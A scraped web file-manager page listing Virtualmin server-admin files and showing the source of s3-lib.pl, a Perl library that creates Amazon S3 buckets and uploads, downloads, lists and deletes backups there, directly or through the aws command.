-rw-r--r--
upgrade-licence.pl
3.91
KB
-rwxr-xr-x
upgrade-license.pl
3.91
KB
-rwxr-xr-x
upgrade.cgi
11.96
KB
-rwxr-xr-x
upload-api-docs.pl
6.18
KB
-rwxr-xr-x
upload-dropbox-file.pl
1.78
KB
-rwxr-xr-x
upload-rs-file.pl
2.83
KB
-rwxr-xr-x
upload-s3-file.pl
3.18
KB
-rwxr-xr-x
usage.cgi
5.71
KB
-rwxr-xr-x
user-template
380
B
-rw-r--r--
useradmin_update.pl
2.71
KB
-rwxr-xr-x
validate-domains.pl
3.54
KB
-rwxr-xr-x
validate.cgi
1.67
KB
-rwxr-xr-x
validate.pl
2.29
KB
-rwxr-xr-x
view_backuplog.cgi
4.28
KB
-rwxr-xr-x
view_domain.cgi
7.04
KB
-rwxr-xr-x
view_log.cgi
1.35
KB
-rwxr-xr-x
view_records.cgi
1.38
KB
-rwxr-xr-x
virtual-server-lib-funcs.pl
534.17
KB
-rwxr-xr-x
virtual-server-lib.pl
15.62
KB
-rwxr-xr-x
virtual_feature_api.pl
21.35
KB
-rwxr-xr-x
virtualmin-licence.pl
1.7
KB
-rwxr-xr-x
vui-lib.pl
7.56
KB
-rwxr-xr-x
warnbw-template
453
B
-rw-r--r--
webmin_menu.pl
6.08
KB
-rw-r--r--
webmincron-fixed.pl
473
B
-rwxr-xr-x
wizard-lib.pl
25.03
KB
-rwxr-xr-x
wizard.cgi
2.09
KB
-rwxr-xr-x
writelogs.pl
690
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : s3-lib.pl
# Functions for talking to Amazon's S3 service @s3_perl_modules = ( "S3::AWSAuthConnection", "S3::QueryStringAuthGenerator" ); $s3_groups_uri = "http://acs.amazonaws.com/groups/global/"; # check_s3() # Returns an error message if S3 cannot be used, or undef if OK. Also returns # a second more detailed warning if needed. sub check_s3 { # Return no error if `aws_cmd` is set and installed if (&has_aws_cmd()) { if ($config{'s3_akey'}) { my ($ok, $err) = &can_use_aws_s3_cmd( $config{'s3_akey'}, $config{'s3_skey'}); if (!$ok) { return (undef, &text('s3_eawscmd', "<tt>".&html_escape($err)."</tt>")); } } return (undef, undef); } # Check for core S3 modules my ($err, $warn); foreach my $m ("XML::Simple", "Digest::HMAC_SHA1", "LWP::Protocol::https", @s3_perl_modules) { eval "use $m"; if ($@ =~ /Can't locate/) { $err = &text('s3_emodule', "<tt>$m</tt>"); $err .= " ".&vui_install_mod_perl_link( $m, "list_buckets.cgi", $text{'index_buckets'}); } elsif ($@) { $err = &text('s3_emodule2', "<tt>$m</tt>", "$@"); } } if (!$err) { # Check for SSL modules eval "use Crypt::SSLeay"; if ($@) { eval "use Net::SSLeay"; } if ($@) { $err = &text('s3_emodule3', "<tt>Crypt::SSLeay</tt>", "<tt>Net::SSLeay</tt>"); $err .= " ".&vui_install_mod_perl_link( 'Net::SSLeay', "list_buckets.cgi", $text{'index_buckets'}); } } # Offer to install the aws command, even if other dependencies are available if (!&has_aws_cmd()) { $warn = $text{'cloud_s3_noawscli'}; if (&foreign_available("software")) { $warn .= " ".&text('cloud_s3_noawscli_install', 'install_awscli.cgi'); } } return ($err, $warn); } # require_s3() # Load Perl modules needed by S3 (which are included in Virtualmin) sub require_s3 { foreach my $m (@s3_perl_modules) { eval "use $m"; die "$@" if ($@); } } # init_s3_bucket(access-key, secret-key, bucket, attempts, [location]) # Connect to S3 and create a bucket (if needed). Returns undef on success or # an error message on failure. sub init_s3_bucket { &require_s3(); my ($akey, $skey, $bucket, $tries, $location) = @_; if (&can_use_aws_s3_cmd($akey, $skey)) { return &init_s3_bucket_aws_cmd(@_); } $tries ||= 1; my $err; my $data; if ($location) { $data = "<CreateBucketConfiguration>". "<LocationConstraint>". $location. "</LocationConstraint>". "</CreateBucketConfiguration>"; } for(my $i=0; $i<$tries; $i++) { $err = undef; my $conn = &make_s3_connection($akey, $skey); if (!$conn) { $err = $text{'s3_econn'}; sleep(10*($i+1)); next; } # Check if the bucket already exists, by trying to list it my $response = $conn->list_bucket($bucket); if ($response->http_response->code == 200) { last; } # Try to fetch my buckets my $response = $conn->list_all_my_buckets(); if ($response->http_response->code != 200) { $err = &text('s3_elist', &extract_s3_message($response)); sleep(10*($i+1)); next; } # Re-open the connection, as sometimes it times out $conn = &make_s3_connection($akey, $skey); # Check if given bucket is in the list my ($got) = grep { $_->{'Name'} eq $bucket } @{$response->entries}; if (!$got) { # Create the bucket $response = $conn->create_bucket($bucket, undef, $data); if ($response->http_response->code != 200) { $err = &text('s3_ecreate', &extract_s3_message($response)); sleep(10*($i+1)); next; } } last; } return $err; } # init_s3_bucket_aws_cmd(access-key, secret-key, bucket, attempts, [location]) # Like init_s3_bucket, but shells out to the awe command sub init_s3_bucket_aws_cmd { my ($akey, $skey, $bucket, $tries, $location) = @_; my @regionflag = $location ? ( "--region", $location ) : ( ); $tries ||= 1; my $err; for(my $i=0; $i<$tries; $i++) { $err = undef; # Check if bucket already exists my $buckets = &s3_list_buckets($akey, $skey); if (!ref($buckets)) { $err = $buckets; sleep(10*($i+1)); next; } my ($got) = grep { $_->{'Name'} eq $bucket } @$buckets; last if ($got); # If not, create it in the chosen region my $out = &call_aws_s3_cmd($akey, [ @regionflag, "mb", "s3://$bucket" ]); if ($?) { $err = $out; sleep(10*($i+1)); next; } else { last; } } return $err; } sub extract_s3_message { my ($response) = @_; if ($response->body() =~ /<Message>(.*)<\/Message>/i) { return $1; } elsif ($response->http_response->code) { return "HTTP status ".$response->http_response->code; } return undef; } # s3_upload(access-key, secret-key, bucket, source-file, dest-filename, [&info], # [&domains], attempts, [reduced-redundancy], [multipart]) # Upload some file to S3, and return undef on success or an error message on # failure. Unfortunately we cannot simply use S3's put method, as it takes # a scalar for the content, which could be huge. sub s3_upload { my ($akey, $skey, $bucket, $sourcefile, $destfile, $info, $dom, $tries, $rrs, $multipart) = @_; $tries ||= 1; my @st = stat($sourcefile); @st || return "File $sourcefile does not exist"; if (&can_use_aws_s3_cmd($akey, $skey)) { return &s3_upload_aws_cmd(@_); } &require_s3(); my $headers = { }; if ($rrs) { $headers->{'x-amz-storage-class'} = 'REDUCED_REDUNDANCY'; } my $rrsheaders = { %$headers }; if ($st[7] >= 2**31) { # 2GB or more forces multipart mode $multipart = 1; } if (!$multipart) { $headers->{'Content-Length'} = $st[7]; } my $err; my $endpoint = undef; my $noep_conn = &make_s3_connection($akey, $skey); my $backoff = 2; for(my $i=0; $i<$tries; $i++) { my $newendpoint; $err = undef; my $conn = &make_s3_connection($akey, $skey, $endpoint); if (!$conn) { $err = $text{'s3_econn'}; next; } my $path = $endpoint ? $destfile : "$bucket/$destfile"; my $authpath = "$bucket/$destfile"; # Delete any .info or .dom file first, as it will no longer be valid. # Only needs to be done the first time. if (!$endpoint) { $noep_conn->delete($bucket, $destfile.".info"); $noep_conn->delete($bucket, $destfile.".dom"); } # Use the S3 library to create a request object, but use Webmin's HTTP # function to open it. my $req; if ($multipart) { $req = &s3_make_request($conn, $path."?uploads", "POST", "dummy", $headers, $authpath."?uploads"); } else { $req = &s3_make_request($conn, $path, "PUT", "dummy", $headers, $authpath); } my ($host, $port, $page, $ssl) = &parse_http_url($req->uri); my $h = &make_http_connection( $host, $port, $ssl, $req->method, $page); if (!ref($h)) { $err = "HTTP connection to ${host}:${port} ". "for $page failed : $h"; next; } my $hinput; foreach my $hfn ($req->header_field_names) { &write_http_connection($h, $hfn.": ".$req->header($hfn)."\r\n"); $hinput .= $hfn.": ".$req->header($hfn)."\r\n"; } &write_http_connection($h, "\r\n"); # Send the backup file contents my $writefailed; if (!$multipart) { local $SIG{'PIPE'} = 'IGNORE'; my $buf; open(BACKUP, "<".$sourcefile); while(read(BACKUP, $buf, &get_buffer_size()) > 0) { if (!&write_http_connection($h, $buf)) { $writefailed = $!; last; } } close(BACKUP); } # Read back response .. this needs to be our own code, as S3 does # some wierd redirects my $line = &read_http_connection($h); $line =~ s/\r|\n//g; # Read the headers my %rheader; my $htext; while(1) { my $hline = &read_http_connection($h); $htext .= $hline; $hline =~ s/\r\n//g; $hline =~ /^(\S+):\s+(.*)$/ || last; $rheader{lc($1)} = $2; } # Read the body my $out; while(defined($buf = &read_http_connection($h, 1024))) { $out .= $buf; } &close_http_connection($h); if ($line !~ /\S/) { $err = "Empty response to HTTP request. Headers were : $htext"; } elsif ($line =~ /^HTTP\/1\..\s+(503)(\s+|$)/) { # Backoff and retry without increasing the tries count sleep($backoff); $backoff *= 2; if ($backoff > 120) { $err = "Backed off up to limit of 120 seconds"; } else { $i--; next; } } elsif ($line !~ /^HTTP\/1\..\s+(200|30[0-9])(\s+|$)/) { my ($out1) = split(/\r?\n/, $out); $err = "Invalid HTTP response : $line : $out1"; } elsif ($1 >= 300 && $1 < 400) { # Follow the SOAP redirect if ($out =~ /<Endpoint>([^<]+)<\/Endpoint>/) { if ($endpoint ne $1) { $endpoint = $1; $err = "Redirected to $endpoint"; $newendpoint = 1; $i--; # Doesn't count as a try } else { $err = "Redirected to same endpoint $endpoint"; } } else { $err = "Missing new endpoint in redirect : ". &html_escape($out); } } elsif ($writefailed) { $err = "HTTP transfer failed : $writefailed"; } if (!$err && $multipart) { # Response should contain upload ID if ($out !~ /<UploadId>([^<]+)<\/UploadId>/i) { $err = $out; } else { # Multi-part upload started .. send the bits my $uploadid = $1; my $sent = 0; my $part = 1; my $j = 0; my @tags; my $chunksize = ($config{'s3_chunk'} || 5) * 1024*1024; while($sent < $st[7]) { my $chunk = $st[7] - $sent; $chunk = $chunksize if ($chunk > $chunksize); my ($pok, $ptag) = &s3_part_upload( $conn, $bucket, $endpoint, $sourcefile, $destfile, $part, $sent, $chunk, $uploadid); if (!$pok) { # This part failed if ($j++ > $tries) { # Too many failures $err = "Part $part failed at ". "$sent : $ptag"; last; } else { # Can re-try sleep($j+1); } } else { # Part worked, move on to the next one $part++; $sent += $chunk; push(@tags, $ptag); $j = 0; } } if (!$err) { # Complete the upload my $response = $noep_conn->complete_upload( $bucket, $destfile, $uploadid, \@tags); if ($response->http_response->code != 200) { $err = "Completion failed : ". &extract_s3_message($response); } } else { # Abort the upload my $response = $noep_conn->abort_upload( $bucket, $destfile, $uploadid); if ($response->http_response->code < 200 || $response->http_response->code >= 300) { $err = "Abort failed : ". &extract_s3_message($response). "Original error : $err"; } } } } if (!$err && $info) { # Write out the info file, if given my $iconn = &make_s3_connection($akey, $skey); my $response = $iconn->put($bucket, $destfile.".info", &serialise_variable($info), $rrsheaders); if ($response->http_response->code != 200) { $err = &text('s3_einfo', &extract_s3_message($response)); } } if (!$err && $dom) { # Write out the .dom file, if given my $iconn = &make_s3_connection($akey, $skey); my $response = $iconn->put($bucket, $destfile.".dom", &serialise_variable(&clean_domain_passwords($dom)), $rrsheaders); if ($response->http_response->code != 200) { $err = &text('s3_edom', &extract_s3_message($response)); } } if ($err) { # Wait a little before re-trying sleep(10*($i+1)) if (!$newendpoint); } else { # Worked .. end of the job last; } } return $err; } # s3_upload_aws_cmd(access-key, secret-key, bucket, source-file, dest-filename, # [&info], [&domains], attempts, [reduced-redundancy], # [multipart]) # Has the same semantics as s3_upload, but uses the aws command instead of # implementing the upload process itself sub s3_upload_aws_cmd { my ($akey, $skey, $bucket, $sourcefile, $destfile, $info, $dom, $tries, $rrs, $multipart) = @_; $tries ||= 1; my $err; my @rrsargs; if($rrs) { push(@rrsargs, "--storage-class", "REDUCED_REDUNDANCY"); } my @regionflag = &s3_region_flag($akey, $skey, $bucket); for(my $i=0; $i<$tries; $i++) { $err = undef; my $out = &call_aws_s3_cmd($akey, [ @regionflag, "cp", $sourcefile, "s3://$bucket/$destfile", @rrsargs ]); if ($? || $out =~ /upload\s+failed/) { $err = $out; } if (!$err && $info) { # Upload the .info file my $temp = &uncat_transname(&serialise_variable($info)); my $out = &call_aws_s3_cmd($akey, [ @regionflag, "cp", $temp, "s3://$bucket/$destfile.info", @rrsargs ]); $err = $out if ($? || $out =~ /upload\s+failed/); } if (!$err && $dom) { # Upload the .dom file my $temp = &uncat_transname(&serialise_variable( &clean_domain_passwords($dom))); my $out = &call_aws_s3_cmd($akey, [ @regionflag, "cp", $temp, "s3://$bucket/$destfile.dom", @rrsargs ]); $err = $out if ($? || $out =~ /upload\s+failed/); } last if (!$err); } return $err; } # s3_region_flag(access-key, secret-key, bucket) # Returns the flags array needed to backup to some bucket sub s3_region_flag { my ($akey, $skey, $bucket) = @_; my @regionflag; my $info = &s3_get_bucket($akey, $skey, $bucket); if (ref($info) && $info->{'location'}) { return ("--region", $info->{'location'}); } return ( ); } # s3_list_backups(access-key, secret-key, bucket, [file]) # Returns a hash reference from domain names to lists of features, or an error # message string on failure. sub s3_list_backups { my ($akey, $skey, $bucket, $path) = @_; &require_s3(); my $files = &s3_list_files($akey, $skey, $bucket); if (!ref($files)) { return &text('s3_elist2', $files); } my $rv = { }; foreach my $f (@$files) { if ($f->{'Key'} =~ /^(\S+)\.info$/ && $path eq $1 || $f->{'Key'} =~ /^([^\/\s]+)\.info$/ && !$path || $f->{'Key'} =~ /^((\S+)\/([^\/]+))\.info$/ && $path && $path eq $2){ # Found a valid info file .. get it my $bfile = $1; my ($bentry) = grep { $_->{'Key'} eq $bfile } @$files; next if (!$bentry); # No actual backup file found! my $temp = &transname(); my $err = &s3_download($akey, $skey, $bucket, $f->{'Key'}, $temp); if (!$err) { my $info = &unserialise_variable( &read_file_contents($temp)); foreach my $dname (keys %$info) { $rv->{$dname} = { 'file' => $bfile, 'features' => $info->{$dname}, }; } } else { return &text('s3_einfo2', $f->{'Key'}, $err); } } } return $rv; } # s3_list_domains(access-key, secret-key, bucket, [file]) # Returns a hash reference from domain names to domain hashes, or an error # message string on failure. sub s3_list_domains { my ($akey, $skey, $bucket, $path) = @_; &require_s3(); my $conn = &make_s3_connection($akey, $skey); return $text{'s3_econn'} if (!$conn); my $response = $conn->list_bucket($bucket); if ($response->http_response->code != 200) { return &text('s3_elist2', &extract_s3_message($response)); } my $rv = { }; foreach my $f (@{$response->entries}) { if ($f->{'Key'} =~ /^(\S+)\.dom$/ && $path eq $1 || $f->{'Key'} =~ /^([^\/\s]+)\.dom$/ && !$path || $f->{'Key'} =~ /^((\S+)\/([^\/]+))\.dom$/ && $path && $path eq $2){ # Found a valid .dom file .. get it my $bfile = $1; my ($bentry) = grep { $_->{'Key'} eq $bfile } @{$response->entries}; next if (!$bentry); # No actual backup file found! my $gresponse = $conn->get($bucket, $f->{'Key'}); if ($gresponse->http_response->code == 200) { my $dom = &unserialise_variable( $gresponse->object->data); foreach my $dname (keys %$dom) { $rv->{$dname} = $dom->{$dname}; } } } } return $rv; } # s3_list_buckets(access-key, secret-key) # Returns an array ref of all buckets under some account, or an error message. # Each is a hash ref with keys 'Name' and 'CreationDate' sub s3_list_buckets { &require_s3(); my ($akey, $skey) = @_; if (&can_use_aws_s3_cmd($akey, $skey)) { # Use the aws command my $out = &call_aws_s3_cmd($akey, [ "ls" ]); return $out if ($?); my @rv; foreach my $l (split(/\r?\n/, $out)) { my ($date, $time, $file) = split(/\s+/, $l, 3); push(@rv, { 'Name' => $file, 'CreationDate' => $date."T".$time.".000Z" }); } return \@rv; } else { # Make an HTTP API call my $conn = &make_s3_connection($akey, $skey); return $text{'s3_econn'} if (!$conn); my $response = $conn->list_all_my_buckets(); if ($response->http_response->code != 200) { return &text('s3_elist', &extract_s3_message($response)); } return $response->entries; } } # s3_get_bucket(access-key, secret-key, bucket) # Returns a hash ref with details of a bucket. Keys are : # location - A location like us-west-1, if any is set # logging - XXX # acl - An array ref of ACL objects # lifecycle - An array ref of lifecycle rule objects sub s3_get_bucket { &require_s3(); my ($akey, $skey, $bucket) = @_; my %rv; my $conn = &make_s3_connection($akey, $skey); my $response = $conn->get_bucket_location($bucket); if ($response->http_response->code == 200) { $rv{'location'} = $response->{'LocationConstraint'}; } $response = $conn->get_bucket_logging($bucket); if ($response->http_response->code == 200) { $rv{'logging'} = $response->{'BucketLoggingStatus'}; } $response = $conn->get_bucket_acl($bucket); if ($response->http_response->code == 200) { $rv{'acl'} = $response->{'AccessControlPolicy'}; } $response = $conn->get_bucket_lifecycle($bucket); if ($response->http_response->code == 200) { $rv{'lifecycle'} = $response->{'LifecycleConfiguration'}; } return \%rv; } # s3_put_bucket_acl(access-key, secret-key, bucket, &acl) # Updates the ACL for a bucket, based on the structure in the format returned # by s3_get_bucket->{'acl'} sub s3_put_bucket_acl { &require_s3(); my ($akey, $skey, $bucket, $acl) = @_; my $conn = &make_s3_connection($akey, $skey); my $xs = XML::Simple->new(KeepRoot => 1); my $xml = $xs->XMLout({ 'AccessControlPolicy' => [ $acl ] }); my $response = $conn->put_bucket_acl($bucket, $xml); return $response->http_response->code == 200 ? undef : &text('s3_eputacl', &extract_s3_message($response)); } # s3_put_bucket_lifecycle(access-key, secret-key, bucket, &acl) # Updates the lifecycle for a bucket, based on the structure in the format # returned by s3_get_bucket->{'acl'} sub s3_put_bucket_lifecycle { &require_s3(); my ($akey, $skey, $bucket, $lifecycle) = @_; my $conn = &make_s3_connection($akey, $skey); my $response; if (@{$lifecycle->{'Rule'}}) { # Update lifecycle config my $xs = XML::Simple->new(KeepRoot => 1); my $xml = $xs->XMLout( { 'LifecycleConfiguration' => [ $lifecycle ] }); $response = $conn->put_bucket_lifecycle($bucket, $xml); } else { # Delete lifecycle config $response = $conn->delete_bucket_lifecycle($bucket, $xml); } return $response->http_response->code == 200 || $response->http_response->code == 204 ? undef : &text('s3_eputlifecycle', &extract_s3_message($response)); } # s3_list_files(access-key, secret-key, bucket) # Returns a list of all files in an S3 bucket as an array ref, or an error # message string. Each is a hash ref with keys like 'Key', 'Size', 'Owner' # and 'LastModified' sub s3_list_files { my ($akey, $skey, $bucket) = @_; if (&can_use_aws_s3_cmd($akey, $skey)) { # Use the aws command my @regionflag = &s3_region_flag($akey, $skey, $bucket); my $out = &call_aws_s3_cmd($akey, [ @regionflag, "ls", "--recursive", "s3://$bucket/" ]); return $out if ($?); my @rv; foreach my $l (split(/\r?\n/, $out)) { my ($date, $time, $size, $file) = split(/\s+/, $l, 4); push(@rv, { 'Key' => $file, 'Size' => $size, 'LastModified' => $date."T".$time.".000Z" }); } return \@rv; } else { # Make direct API call &require_s3(); my $conn = &make_s3_connection($akey, $skey); return $text{'s3_econn'} if (!$conn); my $response = $conn->list_bucket($bucket); if ($response->http_response->code != 200) { return &text('s3_elistfiles', &extract_s3_message($response)); } return $response->entries; } } # s3_delete_file(access-key, secret-key, bucket, file) # Delete one file from an S3 bucket sub s3_delete_file { my ($akey, $skey, $bucket, $file) = @_; if (&can_use_aws_s3_cmd($akey, $skey, $bucket)) { # Use the aws command to delete a file my @regionflag = &s3_region_flag($akey, $skey, $bucket); my $out = &call_aws_s3_cmd($akey, [ @regionflag, "rm", "s3://$bucket/$file" ]); return $? ? $out : undef; } else { # Call the HTTP API directly &require_s3(); my $conn = &make_s3_connection($akey, $skey); return $text{'s3_econn'} if (!$conn); my $response = $conn->delete($bucket, $file); if ($response->http_response->code < 200 || $response->http_response->code >= 300) { return &text('s3_edeletefile', &extract_s3_message($response)); } return undef; } } # s3_parse_date(string) # Converts an S3 date string like 2007-09-30T05:58:39.000Z into a Unix time sub s3_parse_date { my ($str) = @_; if ($str =~ /^(\d+)-(\d+)-(\d+)T(\d+):(\d+):(\d+)\.000Z/) { my $rv = eval { timegm($6, $5, $4, $3, $2-1, $1-1900); }; return $@ ? undef : $rv; } elsif ($str =~ /^(\d+)-(\d+)-(\d+)T(\d+):(\d+):(\d+)/) { my $rv = eval { timelocal($6, $5, $4, $3, $2-1, $1-1900); }; return $@ ? undef : $rv; } return undef; } # s3_delete_bucket(access-key, secret-key, bucket, [bucket-only]) # Deletes an S3 bucket and all contents sub s3_delete_bucket { my ($akey, $skey, $bucket, $norecursive) = @_; $bucket || return "Missing bucket parameter to s3_delete_bucket"; if (&can_use_aws_s3_cmd($akey, $skey, $bucket)) { # Use the aws command to delete the whole bucket my @regionflag = &s3_region_flag($akey, $skey, $bucket); my $out = &call_aws_s3_cmd($akey, [ @regionflag, "rm", "s3://$bucket", "--recursive" ]); return $? ? $out : undef; } else { # Call the HTTP API directly &require_s3(); my $conn = &make_s3_connection($akey, $skey); return $text{'s3_econn'} if (!$conn); if (!$norecursive) { # Get and delete files first my $files = &s3_list_files($akey, $skey, $bucket); return $files if (!ref($files)); foreach my $f (@$files) { my $err = &s3_delete_file($akey, $skey, $bucket, $f->{'Key'}); return $err if ($err); } } my $response = $conn->delete_bucket($bucket); if ($response->http_response->code < 200 || $response->http_response->code >= 300) { return &text('s3_edelete', &extract_s3_message($response)); } return undef; } } # s3_download(access-key, secret-key, bucket, file, destfile, tries) # Download some file for S3 into the given destination file. Returns undef on # success or an error message on failure. sub s3_download { my ($akey, $skey, $bucket, $file, $destfile, $tries) = @_; $tries ||= 1; if (&can_use_aws_s3_cmd($akey, $skey)) { return &s3_download_aws_cmd(@_); } &require_s3(); my $err; my $endpoint = undef; for(my $i=0; $i<$tries; $i++) { my $newendpoint; $err = undef; # Connect to S3 my $conn = &make_s3_connection($akey, $skey, $endpoint); if (!$conn) { $err = $text{'s3_econn'}; next; } # Use the S3 library to create a request object, but use Webmin's HTTP # function to open it. my $path = $endpoint ? $file : "$bucket/$file"; my $authpath = "$bucket/$file"; my $req = &s3_make_request($conn, $path, "GET", "dummy", undef, $authpath); my ($host, $port, $page, $ssl) = &parse_http_url($req->uri); my $h = &make_http_connection( $host, $port, $ssl, $req->method, $page); my @st = stat($sourcefile); foreach my $hfn ($req->header_field_names) { &write_http_connection($h, $hfn.": ".$req->header($hfn)."\r\n"); } &write_http_connection($h, "\r\n"); # Read back response .. this needs to be our own code, as S3 does # some wierd redirects my $line = &read_http_connection($h); $line =~ s/\r|\n//g; # Read the headers my %rheader; while(1) { my $hline = &read_http_connection($h); $hline =~ s/\r\n//g; $hline =~ /^(\S+):\s+(.*)$/ || last; $rheader{lc($1)} = $2; } if ($line !~ /^HTTP\/1\..\s+(200|30[0-9])(\s+|$)/) { $err = "Download failed : $line"; } elsif ($1 >= 300 && $1 < 400) { # Read the body for the redirect my $out; while(defined($buf = &read_http_connection($h, 1024))) { $out .= $buf; } if ($out =~ /<Endpoint>([^<]+)<\/Endpoint>/) { if ($endpoint ne $1) { $endpoint = $1; $err = "Redirected to $endpoint"; $newendpoint = 1; $i--; # Doesn't count as a try } else { $err = "Redirected to same endpoint $endpoint"; } } else { $err = "Missing new endpoint in redirect : ". &html_escape($out); } } else { # Read the actual data to the file &open_tempfile(S3SAVE, ">$destfile"); while(defined($buf = &read_http_connection($h, 1024))) { &print_tempfile(S3SAVE, $buf); } &close_tempfile(S3SAVE); } &close_http_connection($h); if ($err) { # Wait a little before re-trying sleep(10) if (!$newendpoint); } else { # Worked .. end of the job last; } } return $err; } # s3_download_aws_cmd(access-key, secret-key, bucket, file, destfile, tries) # Like s3_download, but uses the aws command sub s3_download_aws_cmd { my ($akey, $skey, $bucket, $file, $destfile, $tries) = @_; $tries ||= 1; my $err; my @regionflag = &s3_region_flag($akey, $skey, $bucket); for(my $i=0; $i<$tries; $i++) { $err = undef; my $out = &call_aws_s3_cmd($akey, [ @regionflag, "cp", "s3://$bucket/$file", $destfile ]); if ($?) { $err = $out; } last if (!$err); } return $err; } # s3_make_request(conn, path, method, data, [&headers], [authpath]) # Create a HTTP::Request object for talking to S3, sub s3_make_request { my ($conn, $path, $method, $data, $headers, $authpath) = @_; my $object = S3::S3Object->new($data); $headers ||= { }; $authpath ||= $path; my $metadata = $object->metadata; my $merged = S3::merge_meta($headers, $metadata); $conn->_add_auth_header($merged, $method, $authpath); my $protocol = $conn->{IS_SECURE} ? 'https' : 'http'; my $url = "$protocol://$conn->{SERVER}:$conn->{PORT}/$path"; my @http_headers; foreach my $h ($merged->header_field_names()) { push(@http_headers, lc($h), $merged->header($h)); } my $req = HTTP::Request->new($method, $url, \@http_headers); $req->content($object->data); return $req; } # make_s3_connection(access-key, secret-key, [endpoint]) # Returns an S3::AWSAuthConnection connection object sub make_s3_connection { my ($akey, $skey, $endpoint) = @_; $endpoint ||= $config{'s3_endpoint'}; &require_s3(); my $endport; ($endpoint, $endport) = split(/:/, $endpoint); return S3::AWSAuthConnection->new($akey, $skey, undef, $endpoint, $endport); } # s3_part_upload(&s3-connection, bucket, endpoint, sourcefile, destfile, # part-number, sent-offset, chunk-size, upload-id) # Uploads a chunk of a file to S3. On success returns 1 and an etag for the # part. On failure returns 0 and an error message. sub s3_part_upload { my ($conn, $bucket, $endpoint, $sourcefile, $destfile, $part, $sent, $chunk, $uploadid) = @_; my $headers = { 'Content-Length' => $chunk }; my $path = $endpoint ? $destfile : "$bucket/$destfile"; my $authpath = "$bucket/$destfile"; my $params = "?partNumber=".$part."&uploadId=".$uploadid; $path .= $params; $authpath .= $params; my $req = &s3_make_request($conn, $path, "PUT", "dummy", $headers, $authpath); my ($host, $port, $page, $ssl) = &parse_http_url($req->uri); # Make the HTTP request and send headers my $h = &make_http_connection($host, $port, $ssl, $req->method, $page); if (!ref($h)) { return (0, "HTTP connection to ${host}:${port} for $page failed : $h"); } foreach my $hfn ($req->header_field_names) { &write_http_connection($h, $hfn.": ".$req->header($hfn)."\r\n"); } &write_http_connection($h, "\r\n"); # Send the chunk local $SIG{'PIPE'} = 'IGNORE'; my $buf; open(BACKUP, "<".$sourcefile); seek(BACKUP, $sent, 0); my $got = 0; while(1) { my $want = $chunk - $got; last if (!$want); my $read = read(BACKUP, $buf, $want); if ($read <= 0) { close(BACKUP); return (0, "Read failed for $want : $!"); } $got += $read; &write_http_connection($h, $buf); } close(BACKUP); # Start reading back the response my $line = &read_http_connection($h); $line =~ s/\r|\n//g; # Read the headers my %rheader; while(1) { my $hline = &read_http_connection($h); $hline =~ s/\r\n//g; $hline =~ /^(\S+):\s+(.*)$/ || last; $rheader{lc($1)} = $2; } # Read the body my $out; while(defined($buf = &read_http_connection($h, 1024))) { $out .= $buf; } &close_http_connection($h); if ($line !~ /^HTTP\/1\..\s+(200|30[0-9])(\s+|$)/) { return (0, "Upload failed : $line \n\nTry installing `awscli` package using package manager"); } elsif (!$rheader{'etag'}) { return (0, "Response missing etag header : $out \n\nTry installing `awscli` package using package manager"); } $rheader{'etag'} =~ s/^"(.*)"$/$1/; return (1, $rheader{'etag'}); } # s3_list_locations(access-key, secret-key) # Returns a list of all possible S3 locations for buckets sub s3_list_locations { my ($akey, $skey) = @_; return ("us-east-1", "us-east-2", "us-west-1", "us-west-2", "af-south-1", "ap-east-1", "ap-south-1", "ap-northeast-2", "ap-southeast-1", "ap-southeast-2", "ap-northeast-1", "ca-central-1", "eu-central-1", "eu-west-1", "eu-west-2", "eu-south-1", "eu-west-3", "eu-north-1", "me-south-1", "sa-east-1"); } # can_use_aws_s3_cmd(access-key, secret-key, [default-zone]) # Returns 1 if the aws command can be used to access S3 sub can_use_aws_s3_cmd { my ($akey, $skey, $zone) = @_; return &can_use_aws_cmd($akey, $skey, $zone, \&call_aws_s3_cmd, "ls"); } # can_use_aws_cmd(access-key, secret-key, [default-zone], &testfunc, cmd, ...) # Returns 1 if the aws command is installed and can be used for uploads and # downloads sub can_use_aws_cmd { my ($akey, $skey, $zone, $func, @cmd) = @_; if (!&has_aws_cmd()) { return wantarray ? (0, "The <tt>aws</tt> command is not installed") : 0; } if (defined($can_use_aws_cmd_cache{$akey})) { return wantarray ? @{$can_use_aws_cmd_cache{$akey}} : $can_use_aws_cmd_cache{$akey}->[0]; } my $out = &$func($akey, @cmd); if ($? || $out =~ /Unable to locate credentials/i || $out =~ /could not be found/) { # Credentials profile hasn't been setup yet my $temp = &transname(); &open_tempfile(TEMP, ">$temp"); &print_tempfile(TEMP, $akey,"\n"); &print_tempfile(TEMP, $skey,"\n"); &print_tempfile(TEMP, $zone,"\n"); &print_tempfile(TEMP, "\n"); &close_tempfile(TEMP); my $aws = $config{'aws_cmd'} || "aws"; $out = &backquote_command( "$aws configure --profile=".quotemeta($akey). " <$temp 2>&1"); my $ex = $?; if (!$ex) { # Test again to make sure it worked $out = &$func($akey, @cmd); $ex = $?; } if ($ex) { # Profile setup failed! $can_use_aws_cmd_cache{$akey} = [0, $out]; return wantarray ? (0, $out) : 0; } } $can_use_aws_cmd_cache{$akey} = [1, undef]; return wantarray ? (1, undef) : 1; } # call_aws_s3_cmd(akey, params, [endpoint]) # Run the aws command for s3 with some params, and return output sub call_aws_s3_cmd { my ($akey, $params, $endpoint) = @_; $endpoint ||= $config{'s3_endpoint'}; return &call_aws_cmd($akey, "s3", $params, $endpoint); } # call_aws_cmd(akey, command, params, endpoint) # Run the aws command for s3 with some params, and return output sub call_aws_cmd { my ($akey, $cmd, $params, $endpoint) = @_; my $endpoint_param; if ($endpoint) { $endpoint_param = "--endpoint-url=".quotemeta("https://$endpoint"); } if (ref($params)) { $params = join(" ", map { quotemeta($_) } @$params); } my $aws = $config{'aws_cmd'} || "aws"; my ($out, $err); &execute_command( "TZ=GMT $aws $cmd --profile=".quotemeta($akey)." ". $endpoint_param." ".$params, undef, \$out, \$err); return $out if (!$?); return $err || $out; } # has_aws_cmd() # Returns 1 if the configured "aws" command is installed, minus flags sub has_aws_cmd { my ($cmd) = &split_quoted_string($config{'aws_cmd'} || "aws"); return &has_command($cmd); } 1;
Close